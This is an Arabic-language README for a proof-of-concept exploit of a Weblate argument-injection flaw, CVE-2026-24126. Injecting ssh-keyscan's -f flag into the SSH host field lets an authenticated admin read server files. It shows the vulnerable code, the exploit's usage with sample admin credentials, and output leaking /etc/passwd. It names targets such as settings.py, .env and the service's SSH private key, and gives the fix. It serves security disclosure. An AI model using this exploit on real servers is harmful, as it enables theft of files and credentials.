
إثبات مفهوم لاستغلال CVE-2026-24126، وهو قراءة تعسفية للملفات في Weblate عبر حقن وسيط المضيف SSH، مما يسمح للمسؤولين المصادق عليهم بقراءة ملفات الخادم.
اكتُشفت بواسطة: Alejandro Baño · يناير 2026 تم الإقرار بها في: ملاحظات إصدار Weblate 5.16
تُمرّر نقطة نهاية إدارة مفاتيح مضيف SSH في Weblate المعامل host الذي يوفّره مسؤول مُصادَق عليه مباشرةً إلى ssh-keyscan دون أي تنقية أو تحقق من الوسائط. ولأن ssh-keyscan يقبل العَلم -f <file> لقراءة أسماء المضيفين المستهدفة من ملف، يمكن لمهاجم يمتلك بيانات اعتماد المسؤول أن يحقن ذلك العَلم كقيمة للمضيف ويجبر الخادم على فتح ملف محلي عشوائي. ويُعاد إخراج الخطأ الناتج (أو stdout) كما هو حرفيًا إلى المتصفح داخل كتلة رسالة خطأ، مما يؤدي إلى تسريب محتويات الملف.
| الحقل | القيمة |
|---|---|
| الهدف | Weblate (النسخ المستضافة ذاتيًا) |
| المكوّن | إدارة مفاتيح SSH — weblate/ssh/views.py · add_host_key() |
| المصادقة مطلوبة | نعم — حساب مسؤول Weblate |
| الإصدارات المتأثرة | جميع الإصدارات ≤ 5.15.2 (تم اختبارها في 5.0.2 و5.15.2) |
| التأثير | قراءة ملفات محلية عشوائية بصلاحيات مستخدم عملية خادم الويب (weblate، www-data إلخ) |
| CVSS v3 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L |
| CVE | CVE-2026-24126 |
# weblate/ssh/views.py — simplified
def add_host_key(request, host, port=""):
cmdline = ["ssh-keyscan"]
if port:
cmdline.extend(["-p", str(port)])
cmdline.append(host) # ← host is appended with no validation
result = subprocess.run(cmdline, ...)
تأتي قيمة host مباشرةً من حقل host في جسم طلب POST دون قائمة سماح، ودون إزالة الشرطات البادئة، ودون مُنهي الوسائط -- قبل القيمة التي يوفّرها المستخدم. وهذا يسمح للمهاجم بحقن أي عَلم من أعلام ssh-keyscan.
يقرأ ssh-keyscan -f /etc/passwd الملف /etc/passwd كقائمة بأسماء المضيفين، ويفشل في تحليل كل سطر، ويُنتج إخراج خطأ لكل سطر. وينتشر إخراج الخطأ هذا عبر معالج CalledProcessError ويُعرض داخل كتلة alert-danger في استجابة HTTP.
python3 exploit.py -r https://target.example.com -u admin -p admin123 -f /etc/passwd
| العَلم | الوصف |
|---|---|
-r / --rhost | عنوان URL الأساسي لنسخة Weblate |
-u / --username | اسم مستخدم المسؤول |
-p / --password | كلمة مرور المسؤول |
-f / --file | مسار الملف المراد قراءته على الخادم |
python3 CVE-2026-24126.py -r http://localhost -u admin -p 'ChangeThisToAStrongPassword' -f /etc/passwd
[+] Login successful for user: admin
[*] Sending payload to http://localhost/manage/ssh/, this could take some time, please be patient...
[+] Extracted file content:
--------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
weblate:x:1000:1000::/home/weblate:/bin/sh
--------------------------------------------------
[!] Exploit finished
يمكن تسريب أي ملف قابل للقراءة بواسطة مستخدم نظام التشغيل الذي يشغّل Weblate (عادةً مستخدم weblate) عبر طلب POST واحد مُصادَق عليه. تشمل الأهداف الحساسة:
settings.py، .env، local_settings.py/var/lib/weblate/.ssh/id_rsaقم بالتحديث إلى Weblate 5.16.0 أو أحدث. هذا هو الإصلاح الرسمي الذي أصدره فريق Weblate في 18 فبراير 2026، والذي أدخل تحققًا صحيحًا من المدخلات على حقل مضيف SSH.
هذا المستودع مخصص للبحث الأمني التعليمي والمصرّح به فقط. لا تستخدم هذه الأداة ضد أنظمة لا تملكها أو لا تملك إذنًا كتابيًا صريحًا لاختبارها. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.